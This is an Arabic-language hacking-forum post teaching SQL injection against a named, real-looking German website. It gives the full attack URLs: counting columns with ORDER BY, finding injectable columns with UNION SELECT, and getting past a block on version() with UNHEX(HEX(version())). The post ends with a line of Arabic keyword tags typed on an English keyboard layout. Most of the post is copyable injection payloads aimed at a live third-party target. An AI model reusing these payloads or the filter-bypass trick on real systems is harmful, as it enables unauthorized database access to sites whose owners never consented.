بسم الله الرحمن الرحيم
والصلاة والسلام على رسوله الكريم
السلام عليكم
كيفكم شباب ان شاء الله بخير
مبارح في غرفة الحقن لقيت موقع ربما البعض تواجهه هالمشكلة وهي عدم ظهور اصدار قاعدة البيانات لما نكتب الامر version() وفيه كذا مرة في احد المنتديات شفت في احد غرف الحقن واحد حط موقع وفيه عضو عم يشكي من الموقع ويقول ياعم ماقدرتش استخرج اصدار القاعدة
واقولكم شيء في هالمجال عندما تواجهك مشكلة اطرحها ودور عليها لغاية ماتجد لها حل هيك راح طور حالك وتتعمق كثير بهالمجال
طيب نرجع لموضوعنا
خلينا نعمل موضوع بسيط حتى بعض الاخوة لما تواجهه هالمشكلة يقدر يتخطاها بالامر UNHEX
انا معي هالوقع
طيب نبدا باول خطوة
هالموقع مصاب بثغرة سكيول
http://www.getraenkekarton.de/01_seiten/top.php?id=439
انا طلعت عدد الاعمدة وكانت 18 عمود
كود:
http://www.getraenkekarton.de/01_seiten/top.php?id=439 order by 18--
وطلعت معاي الاعمدة المصابة
7
8
9
10
كود:
http://www.getraenkekarton.de/01_seiten/top.php?id=-439+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
الان راح نستعرض اصدار قاعدة البيانات راح ندخل الامر version()
كود:
http://www.getraenkekarton.de/01_seiten/top.php?id=-439+UNION+SELECT+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18--
طيب يقولي خطا ليش راح اقولك مبرمج هالموقع مانع كلمة version()
طيب شو الحل وكيف راح نتخطى هالمشكل
طيب راح نتخطاه بالامر
والان ندخل الامر version() كاملا هكدا
كود:
UNHEX(HEX(version()))
راح يصبح الرابط كذا شوف معي
كود:
http://www.getraenkekarton.de/01_seiten/top.php?id=-439+UNION+SELECT+1,2,3,4,5,6,UNHEX(HEX(version())),8,9,10,11,12,13,14,15,16,17,18--
تمام الان طلع معانا اصدار قاعدة البيانات وهي الاصدار الرابع
والسلام عليكم ورحمة الله
hghlv UNHEX ,jo'd la;g u]l qi,v hw]hv hgrhu]m td hgprk la;gm l,ru hw]hv jo'd []d] a;v a;vh